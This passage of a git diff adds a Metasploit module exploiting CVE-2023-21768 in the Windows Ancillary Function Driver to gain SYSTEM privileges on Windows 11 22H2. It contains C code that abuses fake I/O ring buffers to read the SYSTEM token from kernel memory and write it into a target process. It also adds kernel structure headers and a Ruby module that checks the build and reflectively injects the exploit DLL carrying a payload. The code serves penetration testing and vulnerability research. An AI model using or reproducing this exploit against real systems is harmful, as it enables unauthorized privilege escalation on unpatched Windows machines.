*(_HIORING**)&hIoRing; + phIoRing->RegBufferArray = pFakeRegBuffers; + phIoRing->BufferArraySize = ulFakeRegBufferCnt; + + if (IoRingRead(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) { + dprintf("Unable to read System token through a I/O ring read operation"); + return E_FAIL; + } + + dprintf("System token is at: %llx", ullSysToken); + + if (IoRingWrite(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) { + dprintf("Unable to write System token through a I/O ring write operation"); + return E_FAIL; + } + + IoRingWrite(pFakeRegBuffers, (ULONG64)&pIoRing->RegBuffersCount, &null, 0x10); + + return S_OK; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-21768/ioring.h b/external/source/exploits/CVE-2023-21768/ioring.h new file mode 100755 index 0000000000..fe4ea66ff1 --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/ioring.h @@ -0,0 +1,81 @@ +#pragma once + +#include +#include +#include "exploit.h" + +typedef struct _NT_IORING_CREATE_FLAGS +{ + enum _NT_IORING_CREATE_REQUIRED_FLAGS Required; + enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory; +} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS; + +typedef struct _NT_IORING_INFO +{ + enum IORING_VERSION IoRingVersion; + struct _NT_IORING_CREATE_FLAGS Flags; + unsigned int SubmissionQueueSize; + unsigned int SubmissionQueueRingMask; + unsigned int CompletionQueueSize; + unsigned int CompletionQueueRingMask; + struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue; + struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue; +} NT_IORING_INFO, * PNT_IORING_INFO; + +typedef struct _IOP_MC_BUFFER_ENTRY +{ + USHORT Type; + USHORT Reserved; + ULONG Size; + ULONG ReferenceCount; + ULONG Flags; + LIST_ENTRY GlobalDataLink; + PVOID Address; + ULONG Length; + CHAR AccessMode; + ULONG MdlRef; + struct _MDL* Mdl; + KEVENT MdlRundownEvent; + PULONG64 PfnArray; + BYTE PageNodes[0x20]; +} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY; + +typedef struct _IORING_OBJECT +{ + short Type; + short Size; + struct _NT_IORING_INFO UserInfo; + void* Section; + struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue; + struct _MDL* CompletionQueueMdl; + struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue; + unsigned __int64 ViewSize; + long InSubmit; + unsigned __int64 CompletionLock; + unsigned __int64 SubmitCount; + unsigned __int64 CompletionCount; + unsigned __int64 CompletionWaitUntil; + struct _KEVENT CompletionEvent; + unsigned char SignalCompletionEvent; + struct _KEVENT* CompletionUserEvent; + unsigned int RegBuffersCount; + struct _IOP_MC_BUFFER_ENTRY** RegBuffers; + unsigned int RegFilesCount; + void** RegFiles; +} IORING_OBJECT, * PIORING_OBJECT; + +typedef struct _HIORING +{ + HANDLE handle; + NT_IORING_INFO Info; + ULONG IoRingKernelAcceptedVersion; + PVOID RegBufferArray; + ULONG BufferArraySize; + PVOID Unknown; + ULONG FileHandlesCount; + ULONG SubQueueHead; + ULONG SubQueueTail; +}_HIORING; + +HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr); +HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG dwFakeRegBufferCnt); diff --git a/external/source/include/windows/definitions.h b/external/source/include/windows/definitions.h index d5b0aa613b..1eb25cf215 100755 --- a/external/source/include/windows/definitions.h +++ b/external/source/include/windows/definitions.h @@ -154,3 +154,81 @@ typedef VOID(__stdcall* fRtlGetNtVersionNumbers)( #define TYPE_WINDOW 1 typedef PVOID(__stdcall* fHMValidateHandle)(HANDLE hHandle, DWORD dwType); + +// +// Taken from ntdef.h +// + +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer; +#else // MIDL_PASS + _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; +#endif // MIDL_PASS +} UNICODE_STRING, *PUNICODE_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +// +// Taken from wdm.h +// +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef NTSTATUS(__stdcall* fNtCreateFile)( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + +typedef NTSTATUS(__stdcall* fNtDeviceIoControlFile)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, // PIO_APC_ROUTINE is just a pointer to a function + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength + ); + +typedef NTSTATUS(__stdcall* fNtCreateIoCompletion)( + PHANDLE IoCompletionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + ULONG NumberOfConcurrentThreads + ); + +typedef NTSTATUS(__stdcall* fNtSetIoCompletion)( + HANDLE IoCompletionHandle, + ULONG CompletionKey, + PIO_STATUS_BLOCK IoStatusBlock, + NTSTATUS CompletionStatus, + ULONG NumberOfBytesTransferred + ); diff --git a/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb b/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb new file mode 100644 index 0000000000..229ff62a55 --- /dev/null +++ b/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + include Msf::Post::Windows::FileInfo + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + { + 'Name' => 'Ancillary Function Driver (AFD) for WinSock Elevation of Privilege', + 'Description' => %q{ + A vulnerability exists in the Windows Ancillary Function Driver for Winsock + (`afd.sys`) can be leveraged by an attacker to escalate privileges to those of + NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is + possible to create an arbitrary kernel Write-Where primitive, which can be used + to manipulate internal I/O ring structures and achieve local privilege + escalation. + + This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in + January 2023 updates). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'chompie', # Github PoC + 'b33f', # Github PoC + 'Yarden Shafir', # I/O Ring R/W primitive PoC + 'Christophe De La Fuente' # Metasploit module + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Privileged' => true, + 'Targets' => [ + [ 'Windows 11 22H2 x64', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'DisableNops' => true + }, + 'References' => [ + [ 'CVE', '2023-21768' ], + [ 'URL', 'https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768' ], + [ 'URL', 'https://github.com/yardenshafir/IoRingReadWritePrimitive' ] + ], + 'DisclosureDate' => '2023-01-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [] + } + } + ) + ) + end + + def check + if sysinfo['OS'] !~ /windows/i + return Exploit::CheckCode::Safe('Only Windows systems are affected') + end + + major, minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntoskrnl.exe') + vprint_status("Windows Build Number = #{build}.#{revision}") + + unless major == 6 && minor == 2 && build == 22621 + return CheckCode::Safe('The exploit only supports Windows 11 22H2') + end + + if revision > 963 + return CheckCode::Safe("This Windows host seems to be patched (build 22621.#{revision})") + end + + CheckCode::Appears + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + end + + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21768', 'CVE-2023-21768.x64.dll'), + [encoded_payload.length].pack('I<') + encoded_payload + ) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end +end